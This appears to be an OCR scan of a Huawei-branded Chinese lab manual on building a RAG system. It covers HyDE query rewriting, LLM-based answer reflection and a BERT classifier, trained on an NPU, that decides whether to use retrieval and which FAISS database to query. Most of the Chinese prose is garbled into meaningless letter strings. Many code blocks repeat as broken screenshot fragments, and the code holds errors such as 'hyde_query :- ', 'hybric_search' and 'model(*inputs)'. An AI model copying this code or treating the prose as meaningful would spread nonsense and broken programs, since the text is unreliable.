
g

[=]
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BN METD, BEEEHRATERERXRER, BHIELXAFTRA LLM 5
RAOW. REEESHEE, RFRENFAREEES; ARBEAKEEIIR AL
8. BEIMREREERIITAR, RATBETENSEEZNIER, FaTHETI LT
3o ZAEITIRRRS, BEEBALTY, BAERIEE,

0.4 SCUG/\2E

NIRRT TIRREEREFITIREATEE, TREAINR. BHIFEM DB T KiiwEl
#l, BRITRERENTAE, MHEELNR, RF T RAG RFNZRIRERESHIEE.
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1 O {Risz3Zt5ERA HYDE

10.1 LG/ 28

10.1.1 XFARLLE
AILRTEESKHR. BHF. BEEERHINEM L, 5|\ HyDE BRIgSEER N ULERRE . £13T
BRRGRSEE . BN, ELASEILECRIRERY R, B KRB e RIRdE — D5
BN, BYREHTRR, BXERNaRER, BFHEXILERE,

10.1.2 SCIG EHARY
o E4E HyDE RIg3SERN AR OMUREE,
o ZoEIRMEEMBIRE, MANRIGHOEEERNENIREG, H—RH RAG BRHAB

EIEE .
10.1.3 SCIGFRL

BESTRAPRIRED, FIRAREERNS SRR TS, BEMARISH T
KR, BREROTEER;, SoREEHIFRSEEREIHAITZEER,

10.2 SCEGIR(E
10.2.1 M58 HyDE LI A A9

f£ retriever.py AR IN HyDE FISEEIAS, 7E rag.py FiH{TER .
92 1 HyDE BISCHAD
7£ retriever.py FIZARAYERBIEARING0 RS

#----HyDE 1 ZIEE-----------------—-mmm oo

from langchain_openai import ChatOpenAl

from langchain.chains import HypotheticalDocumentEmbedder
from langchain.promptsimport PromptTemplate

import files

def generate_HyDE_query(query: str):
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LangChain HypotheticalDocumentEmbedder
BN query + embedding #&&!+url+api_key
@t HyDE £RRBRISER (ATFRE)
try:
# 1. M client ¥ LLM
llm = ChatOpenAl(
model="qwen3.5-plus",
openai_api_base= files.BASE_URL,
openai_api_key= files. API_KEY,
temperature=0.0

# 2. BENIETE (WA PromptTemplate &85! )
prompt = PromptTemplate(
input_variables=["question"],
template=
RELEA IT =4, IPRAN, IREBRARESR,
RIBOREN—RE W, M™E., FEHMRENEIENZESR, E5Kk 500 FH.
B8R : {question}
e
""" strip ()
)

# 3. B4R HYDE XA
chain = prompt | llm
hyde_text = chain.invoke({"question": query}).content.strip()

# print(f"(4) LangChain HyDE 45§: {hyde_text}")
return hyde_text

except Exception as e:
print(f" X HyDE £, {EREERE: {e}")
return query
#----HyDE ¥ ZRINEE---------------==--mmm oo

WNTE:
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langchain_openai import ChatOpenAl

langchain.chains import HypotheticalDocumentEmbedder
~om langchain.prompts import PromptTemplate
import files

generate_HyDE_query(query:

11lm = ChatOpenAI(
model="gwen3.5-plus”,
openai_api_base= files.BASE_URL,
openai_api_key= files.API_KEY,
temperature=0.9

prompt = PromptTemplate(
10.2.2 #b A RAREFFMI
£ rag.py LIRS HYDE 5 =CAYEA o
IR 1 %0 HyDE BOEAA
£ rag.py RUER S RRIZI0 HyDE AYEBARES:

n retriever import generate_HyDE_query
print (f"HyDEEURY|C/EE query}”)
hyde_query = generate_ HyDE_query(query)

print(f"HYDERRIGES=E------- ‘hyde_query}"”)

|

retriever import hybrid_search
docs = hybrid search(faiss_db,query,k=3)

KRBT

R HyDE Z&H&
from retriever import generate_HyDE_query
print(f'HyDE BiRYjal#R------- >{query}")
hyde_query = generate_HyDE_query(query)
print(f"HyDE SAIBRZEZ=------- >{hyde_query}")
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LR 2 EMREERIIENN query T2

¥ query 1245 HyDE iR[EIRY4EER hyde_query:

from retriever import generate_HyDE_query
print (f"HyDERURIPIRE- - - ->{query}")
hyde_query :- generate_HyDE_query(query)
print( : = ‘hyde_query}"”)

from retriever import hybric_search
docs = hybrid_search(faiss_db, query,k=3)
print(f igat %: {docs}")

ARSI RABERINT:
| docs = hybrid_search(faiss_db, hyde_query,k=3)#EFaIEHRY query L IBLEERHITIGER

SR 3 T
B ctri+c (FLEZRIRIARSS , IRIBERAIRERE 2 )X ctri+c. ZAIFHIAN:

python rag.py |
BlimFRERIFE, BMAUKERT: 7£ IPRAN SZEERSRT, SMIERIRO~E LOS &
Z, ABREESUSERMASRESE, RASWEGE? XMMES T IKIBRITI RN
W2tA?

FEEENESHIREREERY, AJLAEEI HyDE RAUSMEBLER :

SEARSITEE, FBIHEE
BRESE, CtyEaei,
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7f IPRAN SEZEFRGEEST, SPEEGLIE L0S 52, ANREESISEHIASIR

4EE, RAEUTANE? MRS URIBR e RNRTA?

HRIBIZEAY (IPRAN TEMESEEEREAT) |, FHRIMERRO~E 05 SZEFEN
HEERHER S EEASRESENER, RANGMESRKERUNT:

1. R

 REIRE: ~ RAS-UREEERON 05 SEENRESE,

* EERR: " FSHIRRES RORES (IRERRERE) SWSE (0 PwW K
W, WETEIR) MRESE, HoR ERRR".

© RIS HE: " RGHBER LET SEREET (YRR 105 £F) | EEARN
BHERMEREOM, BETAEETIR.

2. IR SR A
XFNES H BB EA TR B ABORBIAN - S RER B R v

10.3 =Rt

B&: AR HYDE 5K, £ RAG hEMAIER?

SEER:

HyDE BMERIZSUASERAN , #RBIS TR DR — R RO, BRAZEINAHAITE
ENR. RINTUEERERE. EXFIRE, a5HIERE; EISEEETE, FIRR
FERENEXEEES .. ZARTMMEEIENARE, BHEXNABOE, MUREKRERIR
g, EOERIED, BEARELITEXG,

10.4 SEBG/NEE

RIREN5ERX T HyDE RISSUSHERNRMAALEE, BITERIRSISFERNTREN, BRTE
B, RIS ERERENTR, H—L5wET S RAG RIFER.
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1 B EED

11.1 LG 28

11.1.1 XFARLLE
ALWAZRIGER . EHF. EEETERHFMRERMLE, BINXERBRRERIGHIH,
UHERERERE, BEURERSEM .. QEAS. SESEMNHTERME, RAESKE.
SEARHINAS, IEESMERTIXEESMR, RADE™EE.,

11.1.2 SCIG HAY

o ERERAGEEREBANELMMARIE,

o IBEERIEIQAEIHDHEIZIT. (BIESERAYER.

o EiIRENHI, BMEFRAGTIMEENSEEFENRE. AL, ZERELSO,
11.1.3 SEIGFRL

RREIGSEIMT RAG [BZFRIB RN BN, BIEEBERRINMERERNIRESE, R
EZRIANBXRIEAENE, FRMREIRSEZER, H—EEH T RAG RRELIZR
MES AR,

11.2 SCIOR(E
11.2.1 $FEBRIZN reflection.py

FEZMAPLIMRENRE, TARERECEZESTSE, ARTHE rag.py FEHTER.

T, IHE—HIA reflection.py F#hFetE3

importjson

def reflect_answer(query: str, context: str, answer: str,client) -> dict:

RENE: OEZ2RER. Tn. aiiE
1x[0]: {pass: bool, reason: str}

prompt= fllllll
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72 RAG RATURER . 15 MEEEREEETEKESERN, TRITRE.

SETH:

{context}

PR el
{query}

[E]%:

{answer}

BRELL IR

1. BIZEREERESERZH?

2. BARFEIR. 2E. TKRIERA?
3. BEEER. TMrED?

HiRE#EC (JSON) :
{{"pass": true/false, "reason": "[R[X"}}
""" strip ()

# ERARE
try:
resp = client.chat.completions.create(
model="qwen3.5-plus",

messages=[{"role": "user",
stream=False,

content": prompt}],

response_format={"type": "json_object"}

result = json.loads(resp.choices[0].message.content)
print(result)
return result
except Exception as e:
return {"pass": False, "reason": " iz BARIG LK "}

/HHQ 2 *I)b&lu\ﬂljiﬁﬁﬁﬁ%u

£ reflection.py JREISCII—MEEEUWL query. answer. context B93E, %30 SCIN B REL
AR, TMRBERGRE, RERPREER: “‘SREBIRE” 1 ‘TR EIR
B, IRFEREER,

def reflect_inferface(query,context_text,answer,client):

print("---RAG #&E{AYR BHLH]------ ")
# | %5—2 ] HXEnin: EERE
yield json.dumps({
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"content": "\n\n = IFERBZE.",
"type": "reflection",
"status": "pending"

}, ensure_ascii=False)

# B8] pUTRE
try:
res = reflect_answer(query, context_text, answer,client)
if res["pass"]:
msg = "\n\n[v) EXEBEIRERE"
else:
msg = f"\n\n X ZZ=EXRE /KRB {res['reasonT}"
except Exception as e:
print("RBIREE:", e)
msg = "\n\n X REBIEREE"

# | 5=2 | HEREE
finally:
yield json.dumps({
"content": msg,
"type": "reflection",
"status": "done"
}, ensure_ascii=False)

£711

11.2.2 P FEIR RS

£ rag.py IR RS, ERmHA index.html SCHL,

S, 1 %% rag.py FROERARES

£ rag.py BIZSEY rag BRELH, RINZORACES:

text = chunk.choices[@].delta.content
full_answer += text

1d json.dumps( ntent”: text }, ensure_ascii=

m reflection import reflect_inferface
response = reflect_inferface(query,context_text,full_answer,client)

r res in response:
ield res
print("-------

f no_rag(query):

RABINT:

#omeee AN RBAE [ BiRER-REF] [NBAFRAGER] 7

from reflection import reflect_inferface

response = reflect_inferface(query,context_text,full_answer,client)

for res in response:




S

O AWE RAG Z2191iHSSRE: 8720
yield res
IR e RS FREER - ")
Hemee RN “ RBAH [ BIHER-REFR ] [ (VBT RAG R ] 7 - ommmemeeev
TR

# M reflection HEHREN reflect_inferface F# ( RE/RE8EO )
from reflection import reflect_inferface

# ARAREEO, EAEL. LT, FBREE. EEERE, SRENGLASR
response = reflect_inferface(query, context_text, full_answer, client)

# WHMMNER, &R0 (Rl )

for res in response:

yield res

£ 2 %1 FE index.html FPASE RS
#HEF index.html a0 TFXIFLHS (EEIIIEESM) -

1]

se(l

> bert-base-chinese
» data
embedding_mode!
kernel_meta
> models
v template
index.htm|
£env
% files.py
% rag.py
% ragas_batch.py
% reflection.py

. ata.content
® splitter_utils.py st.scrolliop = chat.scrollfeignt

BT ctrl+/BOFXiE 1 RS, FEREXE 2, W
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= JSON.parse(1l

> bert-base-chinese
> data

> embedding_model
> kemel_meta

> models

v template

index.html|

lastReflectDiv.textContent = data.content;

® ragas_batch.py

& reflection.py ansDiv.textContent += data.content;

% rerank.py

retriever.py

® score_filter.py

BRI T :

/| FI R EER IR SR RBERE (K. BF. BEE)
if (data.type === "reflection") {

/| NREZELE RBERY div eSS, MeE—
if (IlastReflectDiv) {
/] BIZ— div TR, BTFETREBAS
lastReflectDiv = document.createElement ("div");
/] REREBAFAIEFIC: £ 6px
lastReflectDiv.style.marginTop = "6px";
/| RERBASTAME: FHAKN12px (/NSFEK)
lastReflectDiv.style.fontSize = "12px";
/| RERBASIHFN: REXF
lastReflectDiv.style.color = "#888";
/] IEXANRE diviFINEIERSRE
ansDiv.appendChild(lastReflectDiv);

/| BFRE div BIINFRE (RIVBSIVER )

lastReflectDiv.textContent = data.content;

}
/| MRFRRBARE, MREENEENF
else {

/] IERFEMFZZR div e (HiEEEE )

ansDiv.textContent += data.content;
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11.2.3 1z170iz
BT ctri+c (ELEZBIRIARSS , RIBIERAIERE 2 )X ctri+c, AEHIN:

123N

python rag.py

[EIRTIT]

AR FRERFETE, BAULEE: £ IPRAN SZEERSF, FIERROSE LOS &
Z, INRERESISEEIMASRESE, RASUMURME? XHMESTURIERINTHRAN
WZA+A?

AR IERR A EREFMAEER I FRINA:

RAG EHEEZ RS

(81a4) , R4 10 £ESH, FF(UREZ LOS SRAEMRE, Hi 9 FIH =

D BERE
TRELSE, SEEERE, -

IPRAN (IP Radio Access Network) BEDIP{L

**2. RIBAYRSE SR

XSRS R R KB E PR ER BRI REER AR EE:

* ERSREERN: IPRAN RS MEE-BEE - VS E NEREWET, M
EEREE RESrSES | 5 L EArE RIRN,

* IREERESREF: FIEEE EE > MEE > WSE~IEERR

FTERAN, BREENNBWSHOEOR
#igie, ZNATER. TREESN
PON+IPRANBESFF MBS, MBS
BB RIMB IR &SR, IPRAN
RENWECETEY X, RTHBME,

. ESrERENSTEARESE, IRE, XEK
T URATIRET: STEERNSEENHIN, KSHERE (MEE) SEHR 58 ERHTNFERERELE, 28
HEE, B (REE. VSE) STHENRESSHATES. BEEEITFARE, WILEEARNIIE
* RBEFRFRSHEERS 3 & HTRERNSERINTHIN, RARERE I8, BEEZSEEHIENTL, MBRSER
SEEHRA, LESELES. EEBOBFPER. FCHERREE

2025 B EHRIIPRANSERME S B ER

FRATE, BTFRWASBEATHEANE,
BETRETHE, RERIMN, F52
HEBSEOEA..

REZRKRE:

RAG BHiRERHR
(81a4) , BUF=E 10 £ESH, RGUREZ L0S SBENIRR, HA 9 59H = D wEwa
TRESS, 2BERFR, " q

IPRAN (IP Radio Access Network) BNIP{L
FTEBAR, RASBHREVSHEZOR
ffighe, JZNATARR. HTREEEN

PON+IPRANREEFEFMBES, BEESGIS
RNERIVBRIRENANUEZN, IPRAN

2. {RIBAY SR~
XFNES R KB RA BER BRSO IREER R AR RR:
~ERIEEER: IPRAN RER VEE-BEE - S NEREMET, &
BEEEE REArEs |5 HEdrE R,
* IREERRRCREF: FRSE YEE > BEE > WSE~ NRAERIR RENBHCETEY A, R,
. ESES AR ST ARES, RE, XB
T RTRET: YTRESNSERN U, RAHERE (EE) SEHIR £, ERHTHSESNEENE, 29
BEE, LB (MEE. WEE) SBHENRESEHHTES. HEERSEREH, BILEEARNIE
* FERUEREEHRES 3 & YTERKNSSRNHNN, KERBES fhiB, BEESATEHIER, BAERER
EBEHRE, LESELBER, SERNBPAER, MECHERREED
2025 BT B FNIPRANS EREB S SES
FREAE, MTOWASBIEATHRASHY,
: : BAETEESRE. RESSMN. a2
BEESZOEIA..

B EiRtESFTENREBRYEL:

» 'chunk
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11.3 BEM
BlRR: 42 RAG BRRENS, BERHAER?

sEER:
RAG R BRI AR RIS F TS ERSRNIERE. SRENELE, HE
LTYRELEC. SRERRARRIENE; EENTR. FENLX, DHENSSE
WIRIEE (ALRERSRORGTAORI) . EAHRTEANRBIREGG, RA AT
, IR ERR B RIA S

11.4 SCIG /&

RREIGSLI T RAG [BIZRIBRR BN, BIEEERFEIEEAS, BRRAIERL]
W, H—LZRFAT RAG RARIZHIEES IR,
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1 2 Bzl RAG

12.1 LG 28

12.1.1 XFARLLE
ARBEznh RAG 58, ERESISseHM2EER RAG -aRAIBENDEH . Bl
BERT 73 2EIRFHIREY, XtFEPaleid TE8ee R, BaiX o WuiagERlRSE aletF0E AR
&, R BERREERBIIRENER, BEREEES RAG 210, SCHaZHEz(aYE
EE R ASPEIVATlL

12.1.2 SCIG EHARY

o IEfFEMMRAGEREIEHAIZORIE, EREXEEGE AT

o ERHEFVASEMANREEEN)|FS52ESE,

o MHEZRZREFE, BOLER, BHEROZINNIERE SHERR,
12.1.3 SCEGHIKY

BiERX 9 RAG EXRNIDEFASCESE, 5ok BERT BEHIEENY)IGSIEIE;

BRI FFHO0E RN ER N\ RAG (0] 5EEE, SCIUR0IBiHIBNZEE;

EEHITZHROENN, WIFRG RGO RIETNEREROE, 5B RAG I
BERYRINRIL S,

12.2 SCIOIR{E
12.2.1 $iEBRIZ rag_router.py

FTEERIA rag_router.py, fEF bert f2EI)I|IE— P DIEIEEY, 1RYE query BIZEEIEMIBIRRERE
RAG &%, rag_router.py 5 rag.py BER%.

LB’ 1 FEMAHSNENE
SANEHHITERER

importos
importtorch
import numpy as np
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import pandas as pd

from torch.utils.data import Dataset, DataLoader

from transformers import BertTokenizer, BertForSequenceClassification
from sklearn.model_selection import train_test_split

from tgdm import tqgdm

importwarnings

warnings.filterwarnings("ignore™)

importtorch_npu

# === LSS s====================
DEVICE = torch.device("npu:0")

BASE_MODEL = "bert-base-chinese"

MAX_LEN = 128

BATCH_SIZE = 8

EPOCHS =2

TEST_SIZE = 0.1

MODEL_PATH = "./models/rag_switch"
os.makedirs(MODEL_PATH, exist_ok=True)

# NPU i&&
torch.npu.set_device(DEVICE)
torch.npu.set_compile_mode(jit_compile=False)

IR 2

IR RIBRET R L

ZHIECIZRNES . /data/ft_data.csv, HUEFHE:

RS ES? 1
BESERGHEmEEr? ,2
TimeXertEEFERECEEOASER/D? L0
THEFENSAnILSAEE? ,2
RIS ARRE? ,1
SladiiERR AR ERR/D? L0
ERIECSEIREINh? ,1

FREVSHENE? ,1
—M§xzmyms§t&g? ,0
W%W@MMMF’

BREEE m&%xe £10? ,2
ﬁ?ﬂjmé%ﬁ%? »1

S HEBET SN SATEERS? ,2
SEERNRASTHREESOR? ,0

EEEARESIRET, O F0 2 XIRIFEEE RAG, 1 AAFEZE RAG, 7E rag_router.py RSN
fi5:

# —= IREEIRET (1% )
#0 — FERAG

#1 > FEERAG

#2 > FTEERAG

def label_map(label):
if label in (0O, 2):
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return 1 # 1= FE RAG
elif label == 1:

return 0 # 0= AFZE RAG
else:

return 1

78]

IR 3 RS
MSE— M EPREIRERIES, BPISEECRISIRIXAEEL:

class RAGRouterDataset(Dataset):

def __init_ (self, texts, labels, tokenizer):
self.texts = texts
self.labels = labels
self.tokenizer = tokenizer

def __len__(self):
return len(self.texts)

def __getitem__(self, idx):
text = str(self.texts[idx])
label = self.labels[idx]

inputs = self.tokenizer(
text,
truncation=True,
padding="max_length",
max_length=MAX_LEN,
return_tensors="pt"

return {
"input_ids":inputs["input_ids"].flatten(),
"attention_mask": inputs["attention_mask"].flatten(),
"label": torch.tensor(label, dtype=torch.long)

}

syl

25 bert {2BIAYRREL

#

def train_router_model():

# 1. INEEUE

df = pd.read_csv("./data/ft_data.csv", header=None, names=["text", "label"])

texts = df["text"].values
labels = [label_map(l) for L in df["label"].values]

# 2. Rl EEMhiEE
train_text, val_text, train_label, val_label = train_test_split(




S

HUAWEI

RAG ZRiEig it 5Lk

texts, labels, test_size=TEST_SIZE, random_state=42

# 3. INE; tokenizer & 1&EHY

tokenizer = BertTokenizer.from_pretrained (BASE_MODEL)

model = BertForSequenceClassification.from_pretrained (
BASE_MODEL, num_labels=2

).to(DEVICE)

# 4. 3% dataloader

train_dataset = RAGRouterDataset(train_text, train_label, tokenizer)

val_dataset = RAGRouterDataset(val_text, val_label, tokenizer)

train_loader = DatalLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True)
val_loader = DatalLoader(val_dataset, batch_size=BATCH_SIZE)

#5. L8

optimizer = torch.optim.AdamW (model.parameters(), lr=2e-5)

# 6. )I1Ek
model.train()
for epoch in range(EPOCHS):
total_loss = 0
for batch in train_loader:
input_ids = batch["input_ids"].to(DEVICE)
attention_mask = batch["attention_mask"].to(DEVICE)
labels = batch["label"].to(DEVICE)

outputs = model(
input_ids=input_ids,
attention_mask=attention_mask,
labels=labels

loss = outputs.loss
total_loss += loss.item()

loss.backward()
optimizer.step()
optimizer.zero_grad()

print(f"Epoch {epoch+1}/{EPOCHS} | loss: {total_loss/len(train_loader):4f}")

#7. RIFIEE

model.save_pretrained (MODEL_PATH)
tokenizer.save_pretrained(MODEL_PATH)
print("#&EE)II&5ERk, EFFE: ", MODEL_PATH)

791
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IR 5 i rag FFEHIEO

1Z3EOSCHHRIN query BN, BILREFTEE rag RIGIE, BENHMIIT !

5801

def need_rag(query):

XIINEFRRRE: MABRIEE, REREFE RAG
return True/False
try:
tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)
model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to (DEVICE)
except:
print("tREATFE, BatFmRilE.")
train_router_model()
tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)
model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to(DEVICE)

model.eval()
with torch.no_grad():
inputs = tokenizer(
query,
truncation=True,
padding="max_length",
max_length=MAX_LEN,
return_tensors="pt"
).to(DEVICE)

outputs = model(*inputs)
pred = torch.argmax(outputs.logits, dim=1).item()

# pred=1 — FE RAG

return pred == 1

LI 6 Iheelid

1 rag_router.py RKERINUN ™ML HITIhEEM L :

if _name__=="__main__":
q = "IRS[ERABFHERR? "

print(need_rag(q)) # True

REFREFPZHIA, BT ctri+c (FIEZBIRIIRSS , IRIBBRIEEHEE 2 )X ctri+c, REE
Terminal HREgI\;

| python rag_router.py

BEETAE:
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(PyTorch-2.1.8) [root@6528a9d76d39 hcie_rag_code]# python rag_router.py
The tokenizer cla: u load from this checkpoint is not the same type as the class this function is called from. It may result in unexpected tokenization.
The tokeniz a u load from this checkpoint RagTokenizer'.

s called from is 'BertTokenizer'.
BREAFE, | BaT@ilEE. ..
Some weights of BertForSequenceClassification were not initialized from the model checkpoint at bert-base-chinese and are newly initialized: ['classifier.bias', 'c
ssifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
Epoch 12 | loss: 0372 REERIES S
Fpoch 2/2 | lnss: @.0372
BRI, BEFR):  ./models/rag_switch

True A HH TER

12.2.2 ¥ N5EEBAES

EAREE rag, BEE rag.py FIRIIZREE RAG RIEINKT . LINRFEEERRIBHEESSH
— & ‘Bl IHREBITHE

£ 1 R0 rag.py HRYERR
EU T ERIMEH:

@app.route( tream_chat', methods=
f stream_chat():
data = request.get_json()
query = data.get("que o
mode = data.get( ‘

1f mode == "aut
rag_router import need_rag
print("EFiELL")

use_rag = need_rag(query)
print(f"need_rag:{ use_rag
1f use_rag:

mode =

o

mode =

gen = rag if

BantE TIRERSRE RAG RIFIET, (LRE3aNT:

if mode == "auto":
from rag_router import need_rag
print("Eaft&EIl")
use_rag = need_rag(query)
print(f'need_rag:{ use_rag }")
if use_rag:
mode = 'rag'
else:
mode = "no_rag"

I8 2 %% index.html BOIEIR{CRE
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#HE| index.html a0 FXIFLHS (EARIEIZESH) -

v template
index.htm!
£env

¢ files.py

% rag_router.py
rag.py

® ragas_batch.py
reflection.py

class= 3 t">{{item.bot}}
{%¥ endfor %}

class="1i

type="1 placeholder="%

BIER

ISR ctrl+/BOFER, W

v template
index.htm|
£nv
files.py
rag_router.py
* rag.py
% ragas_batch.py
reflection.py
rerank.py
b retriever.py

& score filter.poy

(ESERkERFo

12.2.3 ;‘:ﬁuhfc
1T ctrl+c (=2 BIRYARSS

{{item.bot}}
{¥ endfor %}

cl

required

placeholder="%i>

Bafss

value=

RAGIESL
g" > EnBiEst,

value=
value=

, IRYEIBIATREEE 2 0K ctri+c, SAIEHIN:

25821

| python rag.py

AR ERIHEE, RXEOAR “BaeE”

RAG BHERIERS
D exna
EEAE
B
RAGEET,
HEET

m)\imUiftrilEE
= IPRAN R
H£RE, ,%%AZIHHME’?

%EPUEH‘WETEE’J{M‘E&%MUIEH'Z’?

£ Terminal F@EHIHEEEMB N THRE:
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172.31.65.217 - - [15/May/2026 16:05:05] "GET / HTTP/1.1" 200 -
BaiELl == sl bl
loppens | BEHEERE R =raghIFIkT

FiaiegE:

£ IPRAN HEFEEEGF, SPEERLT4 105 52, AR EESISERRARRESTE, E5HS
N‘%A%}ﬂg

& PR EZEREGT, SUESR0FE 105 52, BNRESSUSSHRARRESS
¢ BEXNEL Embedding HHL...

BR— iR

{RBEMI+A?
£ Terminal F@EHIBEEEMB N TFHRE:

TERMINAL

“IRREMATA? 7 ->rag FFREERZE “False” , AE RAG HE.

12.3 =Rt

B : Bz RAG INTHIEIIBF I S FUTIRR?

BELER:

Bz RAG LSHREFIMAF R, KoFiRE. THRAREFSU®, EEERD
g; B SERTA EeRvE . IEE T ENRENR. EHESE, THUEE
B, BEIEREEMICESIANTENA, BOEROR, It RAESERS R,

12.4 SCEG/NES

AXBE5) RAG L8, 5epl TET BERT EEAVEREIRFAINGEER . RERIEIFIBIM AT
XE, EREREATEMREER, BRRL TR, IBAHUERER. BiULE, iHFR
SR TESRINEASE RAG 2RIV ORIEIIRE o
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E; ZHNR IS H

13.1 LG/ 48

13.1.1 XFARLLE
RRZENRERASEG, FEREEESSEPELEENN RAG [BE RS . BTSSR HDSEE
B, WAPREHTENRNISEEFE, BoiXoadphrElsaE, SELEXNIIERE
IMRESSAIGRIE, TMARSIMREERS . 1A, BRBERRIENEREL.
13.1.2 SCIG HAY

o EiEMig IS SEIRFIRISEI G L, B AMREES e iz ORI,

o FREREMRELYS, SRRENSHRTERRRIHE.

® IEFH RAG EFROEHEE, RV LTIMRHL, MHBARIEIRSIER.
13.1.3 SCIGHRE

BeESS MM ENR EH T S mE N E;

REBEBAFENMZESIEROESRE;

V=L = Pl iy i VAT

13.2 SCEGIRE
13.2.1 FiiE— 1 a=E (15%#)

build_vector.py ERFIRE@ERE, B TZHIATLE T /data/documents FIEHECIRESE 2 /M a)
£, %2 PMaEFESHET /basic_faiss_db2, RETHEM .

13.2.2 {E4ZBIZR rag_router.py

{ELZBIA rag_router.py, {EF8 bert IBEI)I|ZG—P2EAEE, 1RYE query RIZEEIE NERER
RAG MEFELINEETE RAG R,

LR 1 MRS bert {RE
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bert-base-chinese #&E & H%#%: https://modelscope.cn/models/google-bert/bert-base-
chinese, SAFEYS T &RY bert-base-chinese, EYKAKITE hcie_rag_code 4L T, W0TE:

v hcie_rag_code

> _ pycache__

> basic_faiss_db
> basic_faiss_db2
v bert-base-chinese
> .cache
.gitattributes
{} config.json
flax_model.msgpack

model.safetensors

L’ 2 IR ECE

T ERIMCES:

label2db = {
e: =

s

LR3ANT, RS SEhRAYm ST :

# === IREMET ( BENAREEH ) =====================
label2db = {

0: "basic_faiss_db",#5=—NEIRE

1: None, #i@FFIH

2: "basic_faiss_db2"#55 — MR E

}
# === RIS ( SEBRERM ) ==============—===c=-

HIR 3 (EXURSRIEBTRE
FRiatrE A A4, WENERICIHEN:

train_router_model()

df = pd.read_csv( lata/ft_data.c » header=
texts = df["text"].values

labels = df["label"].values

train_text, val_text, train_label, val_label = train_test_split(
texts, labels, test_size=TEST_SIZE, random_state=42



https://modelscope.cn/models/google-bert/bert-base-chinese
https://modelscope.cn/models/google-bert/bert-base-chinese
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(EC U

Z— EHTREIRE (TRESRIGIERE ) o emememememmmememememmmmeee
# labels = [label_map(l) for L in df["label"].values] #RAG FFRAMCIBEERE
labels = df["label"].values

PE— SABREERRE (FRESIRIGIE ) - omrememmememmememememeemeeees

LR 4 ERUITSHE

REHEFTIMRESEN 1, 7 train_router_model BREFIEXAAIINT :

f train_router_model():

df = pd.read_csv("./data/ft_data.csv", header=hone, names=["text
texts = df["text"].values
labels = [label_map(l) for in df["label"].values]

train_text, val_text, train_label, val_label = train_test_split(
texts, labels, test_size=TEST_SIZE, random_state=42
)

tokenizer = BertTokenizer.from_pretrained(BASE_MODEL)

model = BertForSequenceClassification.from_pretrained(
BASE_MODEL, num_labels=3
) .to(DEVICE)

LABXI Rz AN T :

PR D T T o
model = BertForSequenceClassification.from_pretrained(

BASE_MODEL, num_labels=3 # %% num_labels [F3&)5 2 &3 3
)-to(DEVICE)

R SRR

SR 5 SIRERSED
£ rag_router.py BIAHRIN— N XIIMEAEECOIRIREL, 1RIE query FIRTERMN ST :

# === %Eﬁ}%gu (g%ﬂiﬂrﬁﬂgm ) S e

def vector_db_route(query: str):

try:

tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)

model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to (DEVICE)
except:

print("EEIARFE, BaFiallL.")

train_router_model()

tokenizer = BertTokenizer.from_pretrained(MODEL_PATH)

model = BertForSequenceClassification.from_pretrained (MODEL_PATH).to(DEVICE)
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inputs = tokenizer(query, return_tensors="pt", max_length=MAX_LEN, truncation=True,
padding="max_length")
with torch.no_grad():

logits = model(*inputs.to(DEVICE)).logits
pred = logits.argmax(1).item()
conf = float(torch.softmax(logits, dim=1).max().item())
target_db = label2db.get(pred)
print(target_db)
return {
"need_rag":target_db is not None,
"vector_db_name":target_db,
"query_type": "EMEMIR" if target_db else "EFHEIRT",
"label": pred,
"confidence": round(conf, 3)
}
# =====s=s=msmmsms——coe- REAEIED (SERBIHE) =====s===—=——=ms—e—

£ 6 Ihaghid

£ main FREAERULED:

if _name__ =="_main_":
forerrreer B2 AT 1

# q = "IRSBBEGHSHIERER? "

# q="{RERFAEETNFH? "

# print(need_rag(q))

test_questions = [
"IPRAN EL4MBELEHAMP=KE? ",
"RERIERIZATAKRE? ",
"ITIEET BIEERTILEAR? ",
"IRSSESTANTHEE? ",
"HIRENRBRAA? "

1

for g in test_questions:
res = vector_db_route(q)
print(f"\n [a&&: {q}")
print(f'47%: {res['label']} | 258Y: {res['query_type'l} | E: {res['vector_db_name'l}| &5

Z: {res['confidence']}")

REFREFZHIA, BT ctri+c (FIEZBIRIIRSS, IRIBBRTEEEE 2 )X ctri+c, REE
Terminal FREgI\:

| python rag_router.py

BEETAE:
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(PyTorch-2.1.8) [root@6528a3d76d39 hcie_rag_code]# python rag_router.py
BREATE, Baif@iEE. ..

Some weights of BertForSequenceClassification were not initialized from the model checkpoint at bert-base-chinese and are ndg

ssifier.weight"]
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.

o | e o | REERMEREIS

Epoch 2/2 |
Ef&F2l: ./models/bert_router

S —AEE? A
1 | BE: basic_faiss_db | BHEE: 0.925 /ﬂ”lﬂﬁ(‘&%

13.2.3 ¥ FEIA R FNI
£ rag.py PLIXGENRERBEAGER .

I 1 E8E RAG FFERYERD
£ rag.py RY stream_chat EREXHFEREANT RAG FRAYAS, E9ASCIGRYINRERTLAZE Z=HMR
EEFFRRITNRE .
WTRE:
@app.route( tream_chat', methods=
f stream_chat():
data = request.get_json()

query = data.get("que -
mode = data.get(

= rag if

SR 2 HRINSEHRERBISER
£ rag.py PSLEINGENREZERREANER, 1 stream_chat BRECHRINRE AT 1E:
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if use_rag["
31 falss db
1f use_rag[’ b
files.INDEX | DIR

flles .INDEX_DIR
files.faiss_db =
mode =

mode =

gen = rag if mode ==

KRBT :

R I EZ TN e T = P L= S—
#7855 7 RAG IBHAYINEE, PRLARZEERE RAG FFRAVEXRATE
if mode == "auto":
importrag_router
print("BaptEL")
use_rag = rag_router.vector_db_route(query)

print(f' ZSXNREREBELER{ use_rag }")

if use_rag["need_rag"]:
global faiss_db
if use_rag["vector_db_name"] =="basic_faiss_db":
files.INDEX_DIR = './basic_faiss_db'
else:
files.INDEX_DIR = "./basic_faiss_db2'
files.faiss_db = None

mode = 'rag'
else:
mode- "no_rag"
Fommemmmeoenee- RIS AR B RS IR AD -
FHRIFHIAS

IR 3 =Tl
Terminal S5

| python rag.py

AR BRI, BN
£ IPRAN EEEREREY, VERRO~E LOS £, FENBEESWSEHNAEIR
SEE, RASUMTLE? XMAMESEIRII RN ZA?
